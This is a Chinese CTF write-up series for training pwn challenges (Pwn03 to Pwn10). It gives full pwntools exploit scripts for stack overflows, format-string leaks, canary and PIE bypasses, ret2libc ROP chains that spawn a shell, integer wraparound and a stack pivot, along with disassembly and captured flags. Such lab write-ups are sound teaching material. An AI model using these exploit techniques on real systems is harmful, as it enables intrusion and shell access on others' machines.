一次实际远程交互的输出如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 [*] pwnstars_secret = 0x401500 [x] Opening connection to xxx on port 12345 [+] Opening connection to xxx on port 12345: Done [*] stage2 expression: 7145400 + 9768863 + 980 [*] stage2 answer: 16915243 [*] stage3 line: magic1 = 3405374; magic2 = 968318; x = 7634619 [*] stage3 answer: 5656323 [x] Receiving all data [+] Receiving all data: Done (237B) [+] Stage 3 cleared! [+] 你已经会用 pwntools 读、算、写了。 Flag: flag{360e29bc-e3cc-4ddb-a106-ebf4a3738508} [+] 记住 Stage 1 那个问题:如果打开 PIE,地址还会固定吗? [+] (留到后面的课程。)
main 的调用链
看 main 可以直接确认三个 Stage 的顺序:
1 2 3 4 5 6 $ objdump -d -M intel chall | sed -n '/<main>:/,/^$/p' 0000000000401f31 <main>: 401f39: call 4013f9 <setup_buffering> 401f3e: call 40186f <stage1> 401f43: call 401b47 <stage2> 401f48: call 401da7 <stage3>
还原成伪代码就是:
1 2 3 4 5 6 7 int main (void ) { setup_buffering(); stage1(); stage2(); stage3(); return 0 ; }
任一 Stage 失败都会 exit(0),不会回退。
Flag
flag{360e29bc-e3cc-4ddb-a106-ebf4a3738508}
Pwn03 — 栈栈!我的栈栈!
恭喜你成功认识了 ELF 小茂密!
但是 N1 又给你带来了一个新朋友——栈。
听说栈里面住着很多奇怪的东西:
buf、RBP、RIP……
它们排排坐,谁也不愿意让出自己的位置。
可是,如果某个不听话的输入突然闯进来,会发生什么呢?
别着急,这次我们一起拿下程序的栈,看看里面到底藏着什么秘密!
思路
栈帧由高到低为 saved RIP、saved RBP、buf[128]:
buf 到 saved RBP:0x80 = 128;
buf 到 saved RIP:0x80 + 8 = 0x88 = 136;
64 位下 saved RIP 占 8 字节;
RSP 是会移动的栈顶指针,RBP 是函数内固定的帧基准;
RIP 指向下一条将要执行的指令,call 压入返回地址,ret 等价于 pop rip;
覆盖 saved RIP 后,ret 会把伪造地址装入 RIP,从而劫持执行流。
过程
自动化脚本
虽然这题不需要构造二进制 payload,但仍然可以用 pwntools 自动完成问答。脚本按题号依次等待 Answer >,发送对应答案,最后收取 Flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import *context.log_level = "info" HOST, PORT = "xxx" , 12345 answers = [ b"128" , b"136" , b"8" , b"B" , b"B" , b"C" , b"A" , b"saved RIP, saved RBP, buf" , b"136" , b"A" , ] p = remote(HOST, PORT) for i, ans in enumerate (answers, 1 ): p.recvuntil(b"Answer > " ) p.sendline(ans) log.info("Q%d -> %s" , i, ans.decode()) print (p.recvall(timeout=3 ).decode(errors="replace" ))p.close()
运行:
脚本的关键点只有两个:
recvuntil(b"Answer > ") 保证每一题都等到输入提示再发送,避免和服务端输出竞争;
每次只发送当前题目的答案,最后一题之后不再等待下一个提示,直接 recvall() 收取结果。
覆盖 saved RIP 为什么能控制流程
正确选项是 A :因为 ret 会把栈上那个被覆盖的位置当作下一步要执行的地址。
完整链路是:
1 2 3 4 5 6 7 8 调用函数 -> call 把返回地址压到栈上 -> 被调用函数建立栈帧,buf 位于低地址 -> 向 buf 写入超长数据 -> 数据越过 buf 和 saved RBP,覆盖 saved RIP -> 函数执行 ret -> pop rip 把伪造的地址装入 RIP -> CPU 跳转到攻击者指定的位置
选项 B、C、D 都不成立:RIP 并不是“宽度大到写不进去”,栈上的数据当然可以被修改,覆盖 saved RIP 也绝不是“没有影响”。
Flag
flag{1efcbf1e-75b7-4a7b-9107-e76c88d0d346}
Pwn04 — 谁是小狗程序的主人?
不好啦!小狗程序开始不听话了!
明明 N1 给它安排好了执行路线,它却偏偏想走另一条路。
小狗程序:我命油我不油天 !
N1:真的吗?那可不一定哦。
听说程序每次执行完函数,都要回到某个指定的位置。
如果这个位置被偷偷换掉……
嘿嘿,接下来会发生什么呢?
思路
vuln 的 buf 位于 rbp-0x40,因此 buf 到 saved RIP 的偏移为 0x40 + 8 = 0x48 = 72。win = 0x4012de。为满足 16 字节栈对齐,可在 win 前加一个 ret gadget(0x40101a)。
过程
完整利用脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *context.arch = 'amd64' context.log_level = 'info' HOST = 'xxx' PORT = 12345 e = ELF('./chall' ) win = e.symbols['win' ] ret = 0x40101a offset = 72 payload = b'A' * offset + p64(ret) + p64(win) if len (sys.argv) >= 3 : io = remote(sys.argv[1 ], int (sys.argv[2 ])) else : io = process('./chall' ) io.sendlineafter(b'Payload > ' , payload) data = io.recvall(timeout=10 ) print (data.decode(errors='replace' ))for line in data.splitlines(): if b'flag{' in line: print ('[+] FLAG:' , line.decode(errors='replace' ).strip()) io.close()
运行:
1 python3 solve.py xxx <PORT>
如果只想在本地验证,直接运行 python3 solve.py 即可。本地会读取本机的 /flag 或同目录下的 flag.txt,所以看到的可能不是远程 Flag。
构造 payload
payload 分三段:
1 2 3 偏移 0 ~ 63 :64 个 'A',填满 buf 偏移 64 ~ 71 :8 个 'B',覆盖 saved RBP(内容随意) 偏移 72 ~ 79 :p64(win),覆盖 saved RIP
也就是:
1 payload = b'A' * 72 + p64(0x4012de )
p64(0x4012de) 会按小端序生成 8 字节:
vuln 执行 ret 时,这个值会被弹进 RIP,CPU 随即跳转到 win() 的开头。
Flag
flag{d8b65ccb-a316-44b1-ab12-0ebc8f5c1db0}
Pwn05 — 神算子
A师傅:你怎么把心里话打印出来了?
N1:嘿嘿 我是神算子
思路
本题只读,不覆盖返回地址,Canary 拦不住越界读。x86-64 下 printf 从第 6 个变参开始读栈;用 AAAA%p... 可确认输入缓冲区位于第 6 格(K=6)。
任意读需要把目标地址放到第 7 格,再用 %7$s 解引用:
1 2 偏移 0x00 ~ 0x07: "%7$s@@@@" -> 第 6 格 偏移 0x08 ~ 0x0f: p64(target) -> 第 7 格
%7$s 只有 4 字节,补 4 个 @ 让地址对齐到第 7 格;地址放在格式串后面,避免其中的 \x00 截断字符串。
过程
完整利用脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 from pwn import *import syscontext.arch = "amd64" context.log_level = "info" HOST = "xxx" PORT = 12345 e = ELF("./chall" ) if len (sys.argv) >= 3 : p = remote(sys.argv[1 ], int (sys.argv[2 ]), timeout=15 ) else : p = process("./chall" ) p.recvuntil(b"Answer > " ) p.sendline(b"B" ) p.recvuntil(b"Stage2Input > " ) p.sendline(b"AAAA" + b".%p" * 14 ) leak2 = p.recvuntil(b"Stage2Input > " ) print (leak2.decode("utf-8" , "replace" ))p.sendline(b"next" ) p.recvuntil(b"Stage3Input > " ) p.sendline(b"AAAABBBB%6$p" ) leak3 = p.recvuntil(b"Stage3Input > " ) print (leak3.decode("utf-8" , "replace" ))p.sendline(b"next" ) demo_addr = e.symbols["demo_string" ] p.recvuntil(b"Stage4Input > " ) p.sendline(b"%7$s@@@@" + p64(demo_addr)) leak4 = p.recvuntil(b"Stage4Input > " ) print (leak4.decode("utf-8" , "replace" ))p.sendline(b"next" ) secret_addr = e.symbols["secret_buffer" ] K = 6 payload = f"%{K + 1 } $s" .encode() + b"@@@@" + p64(secret_addr) p.recvuntil(b"FinalInput > " ) p.sendline(payload) leak5 = p.recvuntil(b"FinalInput > " , timeout=5 ) print (repr (leak5))secret = leak5.split(b"\n" )[0 ].split(b"@@@@" )[0 ] print ("secret =" , secret)p.sendline(b"done" ) p.recvuntil(b"Secret > " ) p.sendline(secret) print (p.recvall(timeout=5 ).decode("utf-8" , "replace" ))p.close()
本地没有 /secret 时,可以在 chall 同目录下先放一个 secret.txt 来复现流程:
1 2 printf 'PWNSTARS-FMT-TRAINING-7623\n' > secret.txtpython3 solve.py
远程运行:
1 python3 solve.py xxx <PORT>
脚本中的地址来自本地的 chall。因为题目是 No PIE,并且远程运行的是同一个二进制,所以 demo_string = 0x405080、secret_buffer = 0x4050e0 在远程同样成立。
漏洞点:printf(buf)
Stage 2 到 Final 都出现了同一个模式:
正确写法应该是:
前者把用户输入本身当成格式字符串,后者只是把用户输入当普通数据。程序里负责读入的 read_line 使用了 fgets(buf, 0x100, stdin),并且用 strcspn 去掉换行,缓冲区长度和读入长度匹配,没有栈溢出。唯一可利用的漏洞就是这句 printf(buf)。
在 x86-64 SysV 调用约定下,函数参数的前六个位置分别是:
对 printf(buf) 来说,RDI 被格式字符串本身占用,真正可被 %p 读取的变参从 RSI 开始。使用位置参数时,%1$p 对应 RSI,%2$p 对应 RDX,%3$p 对应 RCX,%4$p 对应 R8,%5$p 对应 R9,%6$p 对应调用前栈顶的第一个参数,也就是缓冲区起点。
Flag
flag{1846b006-74d3-4c89-961a-f38c494aada4}
Pwn06 — 我喜欢你 ❤ !
小时候 都有个白月光同桌 N1也有个 还记得换座位后N1第一次跟她说话
借你的橡皮擦用一下 !
没想到多年后 白月光不复存在 同样的场景 不同的人 不同的物品:
借你的 libc 用一下!
白月光:我是防渣体制 戒备心很强的!
N1:哦?真的吗?
程序:我不允许你随便做奇怪的事情
N1:那我不做其他事,借你现成的用一下总可以吧?
程序:???
听说白月光林娜斯 身边总跟着一位神秘的豪闺蜜。
它掌握着白月光很多信息以及拥有炒鸡高的颜值,却常常被人忽略。
这一次,你需要学会如何利用她的闺蜜。
思路
puts@GOT = 0x404fe8,其中保存的是 libc_base + puts_offset。泄漏后:
1 2 3 4 libc_base = leaked_puts - 0x84420 system = libc_base + 0x52290 "/bin/sh" = libc_base + 0x1b45bd pop rdi = libc_base + 0x23b6a
final_overflow 的 buf 位于 rbp-0x80,到 saved RIP 的偏移为 0x88。
过程
完整 exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from pwn import *context.binary = elf = ELF('./chall' ) context.log_level = 'info' libc = ELF('./libc.so.6' ) HOST, PORT = 'xxx' , 12345 io = remote(HOST, PORT) io.recvuntil(b'Stage1Input > ' ) io.sendline(b'continue' ) io.recvuntil(b'Stage2Input > ' ) io.sendline(b'x' ) io.recvuntil(b'leaked puts = ' ) leaked_puts = int (io.recvline().split()[0 ], 16 ) libc.address = leaked_puts - libc.symbols['puts' ] log.success('puts = %#x -> libc base = %#x' , leaked_puts, libc.address) assert libc.address & 0xfff == 0 io.recvuntil(b'Stage2Input > ' ) io.sendline(b'next' ) io.recvuntil(b'Stage3Input > ' ) io.sendline(hex (libc.address).encode()) io.recvuntil(b'Stage4Input > ' ) io.sendline(b'next' ) system = libc.symbols['system' ] binsh = next (libc.search(b'/bin/sh' )) pop_rdi = ROP(libc).find_gadget(['pop rdi' , 'ret' ]).address ret = ROP(libc).find_gadget(['ret' ]).address log.info('system = %#x binsh = %#x pop_rdi = %#x' , system, binsh, pop_rdi) io.recvuntil(b'Payload > ' ) payload = flat( b'A' * 0x88 , pop_rdi, binsh, ret, system, ) io.send(payload) io.recvuntil(b'$ ' ) io.sendline(b'cat /flag' ) io.interactive()
运行结果:
1 2 3 4 5 [+] Opening connection to xxx on port 12345: Done [+] puts = 0x7f11b4a89420 -> libc base = 0x7f11b4a05000 [*] system = 0x7f11b4a57290 binsh = 0x7f11b4bb95bd pop_rdi = 0x7f11b4a28b6a [*] Switching to interactive mode flag{95e50093-fcd0-434b-81bd-df5f90592e89}
构造 ROP 链
x86-64 System V 调用约定下,system("/bin/sh") 的第一个参数放在 RDI。栈上没法直接“先赋值再 call”,所以用 gadget:
它把栈顶的值弹进 RDI,然后 ret 到下一个地址。
ROP 链结构:
1 2 padding pop_rdi_ret binsh ret system └─ 0x88 ─┘ └──────┘ └────┘ └─┘ └────┘
对应内存布局:
1 2 3 4 5 6 0x00 ~ 0x7f buf 垃圾填充 0x80 ~ 0x87 saved rbp 垃圾填充 0x88 pop_rdi_ret 第一个 gadget 0x90 binsh 被 pop 进 RDI 0x98 ret 栈对齐 0xa0 system ret 到这里执行 system("/bin/sh")
system 前面多加一个 ret 是为了栈对齐。glibc 里有些实现会用到 movaps,如果 system 入口的栈没有对齐,可能直接段错误;加一个 ret 相当于把 rsp 再调整 8 字节。实际测试中不加有时也能拿到 shell,但加上更稳。
Flag
flag{95e50093-fcd0-434b-81bd-df5f90592e89}
Pwn07 — 加那利群岛探险记
有一种动物,燕雀科丝雀属鸟类,又称为芙蓉鸟、玉鸟、白燕,原产地是西班牙的自治区加那利群岛
其对于甲烷和一氧化碳比人更为敏感,中毒后第一阶段的迹象就成了对矿工们有用的信号,因此直到20世纪一直被放置在煤矿中,作为矿井中毒气含量超标的警报器。
同样 今天在程序保护中也广泛应用这种小鸟
只不过我们这次扮演的是毒气大人
要怎么骗过小鸟 进而骗过矿工呢
记得 你要温柔一点 补药把小鸟吓坏了
思路
buf 位于 rbp-0x90,Canary 位于 rbp-0x8:
1 2 buf -> canary = 0x88 buf -> saved RIP = 0x98
printf 从第 6 格开始读栈,Canary 在 buf+0x88,即 %23$p。Canary 最低字节为 0x00,但 %p 按整数打印,不会截断。
过程
完整 Exploit 脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 import reimport sysfrom pwn import *context.arch = "amd64" context.log_level = "info" HOST = "xxx" PORT = 12345 if len (sys.argv) >= 3 : HOST = sys.argv[1 ] PORT = int (sys.argv[2 ]) e = ELF("./chall" , checksec=False ) win = e.symbols["win" ] ret = 0x40101a p = remote(HOST, PORT) if HOST != "local" else process("./chall" ) p.recvuntil(b"Stage1Input > " ) p.sendline(b"continue" ) p.recvuntil(b"Stage2Input > " ) p.sendline(b"continue" ) p.recvuntil(b"Stage3Input > " ) p.sendline(b"next" ) p.recvuntil(b"CanaryOffset > " ) p.sendline(b"0x88" ) p.recvuntil(b"RipOffset > " ) p.sendline(b"0x98" ) p.recvuntil(b"FinalInput > " ) p.sendline(b"%23$p" ) out = p.recvuntil(b"FinalInput > " ) log.info("leak output: %r" , out) canary = int (re.search(rb"0x[0-9a-fA-F]+" , out).group(0 ), 16 ) log.info("canary = %#x, low byte = %#x" , canary, canary & 0xff ) p.sendline(b"go" ) p.recvuntil(b"Payload > " ) payload = b"A" * 0x88 payload += p64(canary) payload += b"B" * 8 payload += p64(ret) payload += p64(win) p.send(payload) result = p.recvrepeat(3 ) print (result.decode("utf-8" , errors="replace" ))p.close()
本地运行时可以把 HOST 改成 "local",脚本会自动使用 process("./chall")。远程则直接运行:
或者显式传入地址和端口:
1 python3 solve.py xxx <PORT>
漏洞点:final_bypass 的栈布局
final_bypass() 的反汇编核心如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 401a98 <final_bypass>: 401a9c: push rbp 401a9d: mov rbp, rsp 401aa0: sub rsp, 0x90 401aa7: mov rax, QWORD PTR fs:0x28 401ab0: mov QWORD PTR [rbp-0x8], rax ... 401b7b: lea rax, [rbp-0x90] ; buf 401b82: mov esi, 0x80 401b87: mov rdi, rax 401b8a: call read_line 401b8f: lea rax, [rbp-0x90] 401b96: lea rsi, [rip+0x18f5] ; "go" 401b9d: mov rdi, rax 401ba0: call strcmp ... 401c0c: lea rax, [rbp-0x90] ; buf 401c13: mov edx, 0x130 ; 读 0x130 字节 401c18: mov rsi, rax 401c1b: mov edi, 0 401c20: call read@plt
这里有两个功能:
先循环读入一行,若不是 go 或 quit,就执行 printf(buf),存在格式化字符串漏洞。
输入 go 后,打印 Payload >,然后执行 read(0, buf, 0x130)。
缓冲区是 buf[0x80],却允许读入 0x130 字节,存在栈溢出。
根据反汇编,buf 位于 rbp-0x90,canary 保存在 rbp-0x8:
1 2 3 4 5 6 7 8 9 10 11 12 13 高地址 +----------------------+ | saved RIP | rbp + 0x08 +----------------------+ | saved RBP | rbp + 0x00 +----------------------+ | canary | rbp - 0x08 +----------------------+ | 缓冲区之后的空隙 | rbp - 0x10 ~ rbp - 0x09 +----------------------+ | buf[0x80] | rbp - 0x90 ~ rbp - 0x11 +----------------------+ 低地址
从 buf 起点到 canary:
从 buf 起点到 saved RIP:
1 0x98 = 0x88 + 0x08(canary) + 0x08(saved RBP)
因此 payload 的布局应当是:
1 2 3 4 'A' * 0x88 + p64(canary) + 'B' * 8 + p64(win)
如果还需要做栈对齐,可以在 win 前再插一个 ret:
1 2 3 4 5 'A' * 0x88 + p64(canary) + 'B' * 8 + p64(ret) + p64(win)
程序在 read() 之后会做 canary 检查:
1 2 3 4 5 6 401c28: mov rax, QWORD PTR [rbp-0x8] 401c2c: xor rax, QWORD PTR fs:0x28 401c35: je 401c3c 401c37: call __stack_chk_fail@plt 401c3c: leave 401c3d: ret
只要填回去的 canary 和原值完全一致,xor 结果就是 0,检查通过,随后 leave; ret 就会跳到我们覆盖的 win()。
Flag
flag{211495a5-c1c7-45cc-968f-a79d5a26f1a4}
Pwn08 — N1师傅爱搬家
你今天准备去拜访N1
昨天记下了它家的地址,今天却发现……
人呢?!
N1:嘿嘿,我搬家啦!
你:那我明天再来。
N1:不好意思,明天可能还会搬。
你:???
听说N1师傅会一种神奇的超能力,会让自己每次随机刷新在地球某个角落。
但是,不管它搬到哪里,总得留下点线索吧?
This time,Let us play one play 捉迷藏!
思路
Stage 2 在输入 continue 后会打印 &main,可算 base = &main - 0x1b87;Final 中 %39$p 泄漏 final_bypass 的返回地址(偏移 0x1a0d),两条路可互相校验。
final_bypass 的 buf 为 0x100 字节,到 saved RIP 的偏移为 0x108;win 偏移 0x1438。
过程
完整利用脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 import reimport sysfrom pwn import *context.arch = "amd64" context.log_level = "info" elf = ELF("./chall" ) WIN = elf.symbols["win" ] MAIN = elf.symbols["main" ] RET_OFF = 0x1a0d host, port = sys.argv[1 ], int (sys.argv[2 ]) io = remote(host, port) io.sendlineafter(b"Stage1Input > " , b"continue" ) io.sendline(b"continue" ) io.recvuntil(b"&main" ) line = io.recvline().strip() main_leak = int (re.search(rb"0x[0-9a-f]+" , line).group(0 ), 16 ) base_from_main = main_leak - MAIN log.success("main = %#x, base = %#x" % (main_leak, base_from_main)) io.sendlineafter(b"Stage3Input > " , b"next" ) io.sendlineafter(b"PieBase > " , b"skip" ) io.sendlineafter(b"FinalInput > " , b"%39$p" ) ret_leak = int (io.recvline().strip(), 16 ) base_from_fmt = ret_leak - RET_OFF log.success("ret = %#x, base = %#x" % (ret_leak, base_from_fmt)) assert base_from_main == base_from_fmtassert base_from_fmt & 0xFFF == 0 win_addr = base_from_fmt + WIN log.success("win = %#x" % win_addr) io.recvuntil(b"FinalInput > " ) io.sendline(b"go" ) payload = b"A" * 0x100 + b"B" * 8 + p64(win_addr) io.sendlineafter(b"Payload > " , payload) print (io.recvrepeat(3 ).decode(errors="replace" ))io.close()
运行:
1 python3 solve.py xxx <PORT>
程序流程
main 先打印 PWNSTARS 的 Logo,然后依次调用:
1 stage1_intro -> stage2_random -> stage3_fmt -> stage4_calc -> final_bypass
每一关只有输入正确的关键字才会进入下一关,最后 final_bypass 里同时放了格式化字符串和栈溢出两个洞。
Flag
flag{03569ecd-5041-4bd9-b137-d740b444c0d1}
Pwn09 — 不是哥们,你数学谁教的?
不是哥们,你数学谁教的?
N1 师傅最近发现了一位数学天才。
此人自称精通高等数学、离散数学、概率论与数理统计。
甚至扬言:
小小长度计算,拿捏!
于是 N1 决定考考它。
N1:你这个地方最多能装多少东西?
程序:放心吧哥,长度我都检查过了,绝对装得下!
N1:真的假的?你再算算?
程序:包的包的,我数学嘎嘎好!
N1:那我可就塞进去了嗷~
结果……
砰!!!
程序当场去世。
N1 看着满屏的 Segmentation fault 陷入了沉思。
不是哥们……
你这长度到底是怎么算的???
思路
64 位无符号加法回绕:
\[
total=(0xffffffffffffffff+0x20)\bmod2^{64}=0x1f\le0xa0\]final_exploit 中 dbuf 位于 rbp-0x1a0,到 saved RIP 的偏移为 0x1a8。格式串 %59$p 泄漏 saved RIP,偏移 0x1a97 可算 PIE base;%24$s 对应 fmt+16,把 fgets@GOT(PIE+0x5040)放到该位置即可读 libc 地址。
libc 偏移:fgets=0x82630、system=0x52290、/bin/sh=0x1b45bd;二进制 gadget:pop rdi=0x1dd3、ret=0x101a。
过程
完整利用脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 from pwn import *context.arch = 'amd64' context.log_level = 'info' libc = ELF('./libc.so.6' ) HOST = 'xxx' PORT = 12345 p = remote(HOST, PORT, timeout=30 ) p.recvuntil(b'Answer > ' ) p.sendline(b'continue' ) p.recvuntil(b'Size > ' ) p.sendline(b'next' ) p.recvuntil(b'Stage3Input > ' ) p.sendline(b'continue' ) p.recvuntil(b'Stage3Input > ' ) p.sendline(b'next' ) p.recvuntil(b'Base > ' ) p.sendline(b'skip' ) p.recvuntil(b'FinalInput > ' ) p.sendline(b'%59$p' ) data = p.recvuntil(b'FinalInput > ' , timeout=30 ) ret_leak = int (data[:-len (b'FinalInput > ' )].strip(), 16 ) pie_base = ret_leak - 0x1a97 log.success('PIE base: %#x' , pie_base) fgets_got = pie_base + 0x5040 fmt = b'%24$s\x00' fmt = fmt.ljust(16 , b'B' ) + p64(fgets_got) p.sendline(fmt) data = p.recvuntil(b'FinalInput > ' , timeout=30 ) blob = data[:-len (b'FinalInput > ' )].rstrip(b'\n' ) fgets_addr = u64(blob[:6 ].ljust(8 , b'\x00' )) libc_base = fgets_addr - libc.symbols['fgets' ] log.success('fgets@libc: %#x' , fgets_addr) log.success('libc base: %#x' , libc_base) system = libc_base + libc.symbols['system' ] binsh = libc_base + next (libc.search(b'/bin/sh' )) pop_rdi = pie_base + 0x1dd3 ret = pie_base + 0x101a log.info('system = %#x' , system) log.info('binsh = %#x' , binsh) log.info('pop_rdi = %#x' , pop_rdi) p.sendline(b'go' ) p.recvuntil(b'Size > ' ) p.sendline(b'ffffffffffffffff' ) p.recvuntil(b'Payload > ' ) payload = b'A' * 0x1a8 payload += p64(ret) payload += p64(pop_rdi) payload += p64(binsh) payload += p64(system) p.send(payload) p.sendline(b'' ) p.sendline( b'echo SHELL_OK; id; ' b'cat /flag; ' b'echo DONE' ) out = p.recvuntil(b'DONE' , timeout=15 ) print (out.decode('utf-8' , 'replace' ))p.close()
栈布局与溢出偏移
final_exploit 的栈帧:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 高地址 +------------------+ | saved RIP | rbp+8 +------------------+ | saved RBP | rbp +------------------+ | ... | | size | rbp-0x8 | total | rbp-0x10 | ... | | fmt[0x100] | rbp-0x120 | ... | | dbuf[0x120] | rbp-0x1a0 +------------------+ 低地址
dbuf 到 saved RIP 的距离:
\[(rbp + 8) - (rbp - 0x1a0) = 0x1a8 \]
所以溢出 padding 是 0x1a8。
题目说明文字里写了 padding(0x88),那是示例/旧布局的说法;以反汇编为准,本题实际偏移是 0x1a8。
Flag
flag{437aa736-4193-4049-a4cb-f8fa30c5a36c}
Pwn10 — 世界这么大,我想换个地方🐕
世界这么大,我想换个地方🐕
N1 师傅最近在实验室待得有点烦了。
每天不是 Pwn,就是 GDB。
不是 Segmentation fault,就是 Core dumped。
终于有一天……
N1 师傅看着自己那小小的工位,陷入了沉思。
N1:不是,这地方也太小了吧?
Fen:有地方坐就不错了。
N1:可是我的东西根本放不下啊!
Fen:那你少放点。
N1:不行!我全都要!
Fen:那你想怎么办?
N1:世界这么大,我想换个栈!
于是 N1 师傅抱着电脑,毅然决然地离开了原来的位置。
走之前还留下了一句话:
此处不留爷,自有留爷处!
思路
格式化字符串 %4$p 泄漏 PIE(偏移 0x2160),%61$p 泄漏 Canary,%68$p 泄漏 _IO_file_jumps(libc 偏移 0x1e94a0)。
g_rop_buf 偏移 0x50c0,leave; ret 偏移 0x1c43。先通过 Rop > 的 read(0, g_rop_buf, 0x100) 写入 execve("/bin/sh", NULL, NULL) 链,再发送恰好 0x1a0 字节的 payload:
1 padding(0x188) + canary + rop_buf + leave_ret
过程
完整利用脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 import reimport timefrom pwn import *context.arch = "amd64" context.log_level = "info" HOST = "xxx" PORT = 12345 e = ELF("./chall" , checksec=False ) libc = ELF("./libc.so.6" , checksec=False ) PIE_LEAK_OFF = 0x2160 LIBC_LEAK_OFF = libc.symbols["_IO_file_jumps" ] ROP_BUF_OFF = 0x50c0 LEAVE_RET_OFF = 0x1c43 p = remote(HOST, PORT) p.sendline(b"continue" ) p.sendline(b"next" ) p.sendline(b"next" ) p.sendline(b"skip" ) time.sleep(0.1 ) p.sendline(b"LEAK%4$p|%61$p|%68$pEND" ) pat = re.compile (rb"LEAK(0x[0-9a-f]+)\|(0x[0-9a-f]+)\|(0x[0-9a-f]+)END" ) buf = b"" m = None end = time.time() + 5 while time.time() < end: chunk = p.recv(timeout=0.4 ) if chunk: buf += chunk m = pat.search(buf) if m: break elif m: break s4, s61, s68 = [int (x, 16 ) for x in m.groups()] pie_base = s4 - PIE_LEAK_OFF canary = s61 libc_base = s68 - LIBC_LEAK_OFF log.success("pie = %#x" , pie_base) log.success("canary = %#x" , canary) log.success("libc = %#x" , libc_base) libc.address = libc_base rop_buf = pie_base + ROP_BUF_OFF leave_ret = pie_base + LEAVE_RET_OFF execve = libc.symbols["execve" ] binsh = next (libc.search(b"/bin/sh" )) rop = ROP(libc) pop_rdi = rop.find_gadget(["pop rdi" , "ret" ]).address pop_rsi = rop.find_gadget(["pop rsi" , "ret" ]).address pop_rdx = rop.find_gadget(["pop rdx" , "pop rbx" , "ret" ]).address ret = rop.find_gadget(["ret" ]).address chain = p64(0 ) chain += p64(ret) chain += p64(pop_rdi) + p64(binsh) chain += p64(pop_rsi) + p64(0 ) chain += p64(pop_rdx) + p64(0 ) + p64(0 ) chain += p64(execve) chain = chain.ljust(0x100 , b"\x00" ) p.sendline(b"go" ) time.sleep(0.05 ) p.send(chain) payload = b"A" * 0x188 payload += p64(canary) payload += p64(rop_buf) payload += p64(leave_ret) assert len (chain) == 0x100 assert len (payload) == 0x1a0 time.sleep(0.05 ) p.send(payload) time.sleep(0.2 ) p.sendline(b"cat /flag; cat flag.txt; echo PWNED" ) print (p.recvall(timeout=3 ).decode(errors="replace" ))
脚本里有三个长度必须严格成立:
1 2 chain == 0x100 payload == 0x1a0
Rop > 后面的读取是 read(0, g_rop_buf, 0x100),不是 read_line。如果链后面多跟一个换行符,这个换行不会被前一次 read 吃掉,而会变成下一次 Payload > 读取的第一个字节,导致 Canary 整体错位。所以这里用 p.send() 而不是 p.sendline(),并显式把链补齐到 0x100。同理,最后的 payload 也直接发送 0x1a0 字节,不额外追加换行。
另外,程序的教学文本里本身就引用了 FinalInput >、Rop > 这些提示词。如果直接用 sendlineafter("FinalInput > "),有可能匹配到说明文字里的同名子串,导致输入错位。脚本里采用的做法是:前四关按顺序直接排队发送,泄漏阶段用唯一的 LEAK...END 包裹,之后按精确长度发送 go、链和 payload,不依赖对提示词的字符串匹配。
final_pivot 的栈布局
关键反汇编:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 0000000000001acc <final_pivot>: 1ad0: push rbp 1ad1: mov rbp,rsp 1ad4: sub rsp,0x1a0 1adb: mov rax,QWORD PTR fs:0x28 1ae4: mov QWORD PTR [rbp-0x8],rax ; canary ; 格式化字符串泄漏循环 1b7a: lea rax,[rbp-0x110] 1b8b: call leak_interact ; 输入 "go" 后 1bc7: lea rdi,[rip+...] ; "Rop > " 1bd3: call printf 1bd8: mov edx,0x100 1bdd: lea rsi,[rip+...] ; g_rop_buf 1be4: mov edi,0x0 1be9: call read ; read(0, g_rop_buf, 0x100) 1bf5: lea rdi,[rip+...] ; "Payload > " 1c01: call printf 1c06: mov QWORD PTR [rbp-0x198],0x1a0 1c11: mov rdx,QWORD PTR [rbp-0x198] 1c18: lea rax,[rbp-0x190] 1c1f: mov rsi,rax 1c22: mov edi,0x0 1c27: call read ; read(0, rbp-0x190, 0x1a0) 1c2f: mov rax,QWORD PTR [rbp-0x8] ; canary 检查 1c33: xor rax,QWORD PTR fs:0x28 1c3c: je 1c43 1c3e: call __stack_chk_fail 1c43: leave 1c44: ret
final_pivot 里有两个独立的用户输入区域:
泄漏缓冲区:rbp-0x110;
溢出缓冲区:rbp-0x190。
溢出区域的布局如下:
1 2 3 4 5 6 地址 内容 相对 buf 的偏移 rbp-0x190 buf 起点 0x000 ... rbp-0x008 canary 0x188 rbp+0x000 saved rbp 0x190 rbp+0x008 saved rip 0x198
